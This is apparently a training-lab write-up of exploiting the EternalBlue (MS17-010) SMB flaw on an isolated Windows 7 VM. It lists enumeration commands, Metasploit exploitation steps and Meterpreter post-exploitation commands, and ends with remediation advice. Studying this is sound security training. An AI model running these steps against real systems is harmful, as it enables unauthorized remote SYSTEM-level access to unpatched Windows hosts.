## https://sploitus.com/exploit?id=71C5A9AF-734E-58D5-81F9-09E7BCE16C14
# SMB EternalBlue Exploitation — Windows 7 Lab Target
## Disclaimer
This project was completed as part of a supervised penetration testing training program in an isolated lab environment. All activity was performed against a system I was explicitly authorized to test. This write-up is for educational purposes only — do not run these techniques against systems you do not own or have written permission to test.
## Objective
Enumerate SMB services on a Windows 7 lab target, identify the EternalBlue (MS17-010) vulnerability, and exploit it to obtain a remote session, demonstrating the full network exploitation workflow.
## Environment / Target
- **Attacker machine:** Kali Linux
- **Target:** Windows 7 lab VM (isolated network, e.g. `10.10.5.x`)
- **Service in scope:** SMB
## Methodology
### 1. Host Discovery
```bash
netdiscover -r 10.10.5.0/24
```
### 2. Service Enumeration
```bash
nmap -sV -O 10.10.5.x
nmap --script smb-os-discovery 10.10.5.x
enum4linux -a 10.10.5.x
```
### 3. Vulnerability Identification
Cross-referenced the discovered SMB version against known CVEs, confirming exposure to MS17-010 (EternalBlue).
```bash
searchsploit smb ms17-010
```
### 4. Exploitation
```bash
msfconsole
search cve:2017-0144
use
show options
set RHOSTS 10.10.5.x
run
```
### 5. Post-Exploitation
Once a Meterpreter session was established, verified access and explored privilege escalation options:
```bash
sessions -l
sessions -i
run post/multi/recon/local_exploit_suggester
```
## Tools Used
- Nmap (service/OS detection, NSE scripts)
- enum4linux (SMB user/share enumeration)
- Metasploit Framework / Meterpreter
- Searchsploit
## Key Findings
- The target was vulnerable to MS17-010 due to a missing critical security patch.
- Successful exploitation granted a stable Meterpreter session with SYSTEM-level access, illustrating the severe impact of unpatched SMB vulnerabilities.
## Remediation Recommendations
- Apply the MS17-010 security patch immediately across all affected Windows hosts.
- Disable SMBv1 where not explicitly required for legacy compatibility.
- Segment legacy systems from critical network zones.
- Deploy IDS/IPS signatures for known SMB exploitation attempts (e.g. EternalBlue traffic patterns).
## References
- Training program: Penetration Testing Fundamentals, Tuwaiq Academy